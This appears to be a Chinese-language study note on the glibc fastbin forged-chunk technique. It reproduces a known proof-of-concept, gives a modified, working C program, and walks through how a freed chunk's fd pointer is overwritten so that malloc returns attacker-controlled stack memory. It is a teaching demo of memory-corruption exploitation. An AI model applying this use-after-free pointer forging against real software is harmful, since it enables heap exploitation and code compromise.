struct forged_chunk {
size_t prev_size;
size_t size;
struct forged_chunk *fd;
struct forged_chunk *bck;
char buf[10]; // padding
};
// First grab a fast chunk
a = malloc(10);
// Create a forged chunk
struct forged_chunk chunk;
chunk.size = 0x20;
data = (char *)&chunk.fd; // Data starts here for an allocated chunk
strcpy(data, "attacker's data");
// Put the fast chunk back into fastbin
free(a);
// Modify 'fd' pointer of 'a' to point to our forged chunk
*((unsigned long long *)a) = (unsigned long long)&chunk;
// Remove 'a' from HEAD of fastbin
// Our forged chunk will now be at the HEAD of fastbin
malloc(10);
victim = malloc(10);
printf("%s\n", victim); // Prints "attacker's data" !!
修改后的代码
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
int main(void)
{
struct forged_chunk {
size_t prev_size;
size_t size;
struct forged_chunk *fd;
struct forged_chunk *bck;
char buf[10]; // padding
};
unsigned long long *a,*victim;
//struct forged_chunk *victim;
//
char *data;
// First grab a fast chunk
a = malloc(10);
// Create a forged chunk
struct forged_chunk chunk;
chunk.size = 0x20;
data = &chunk.fd; // Data starts here for an allocated chunk
strcpy(data, "attacker's data");
// Put the fast chunk back into fastbin
free(a);
// Modify 'fd' pointer of 'a' to point to our forged chunk
*((unsigned long long *)a) = ((unsigned long long)&chunk-0x10);//此处与原文不同
// Remove 'a' from HEAD of fastbin
// Our forged chunk will now be at the HEAD of fastbin
malloc(10); // Will return 0x219c010
victim = malloc(10);// Points to 0x7ffc6de966a0
printf("%s\n",*victim);//此处与原文不同,Prints "attacker's data" !!
//printf("%s\n",attack);
return 0;
}
*((unsigned long long *)a) = ((unsigned long long)&chunk-0x10);
对应过程head -> a -> forged chunk -> undefined (fd of forged chunk will in fact be holding attacker's data) 可以看出a指向0x555555756260,也就是说虽然free(a),但实际上程序中a还是一样可以使用的。这条代码实际上是将chunk.fd的地址放到了0x555555756260。这里为啥要减去0x10,请看这个图。chunk的地址是图中的men所指的地方,与fd有0x10的偏移。(https://bbs.pediy.com/thread-224836.htm,从这盗的图)。
malloc(10);
对应head -> forged chunk -> undefined
victim = malloc(10);
对应head -> undefined [ forged chunk is returned to the victim ]。通过这次操作victim指向了chunk.fd victim->chunk.fd->data->"字符串"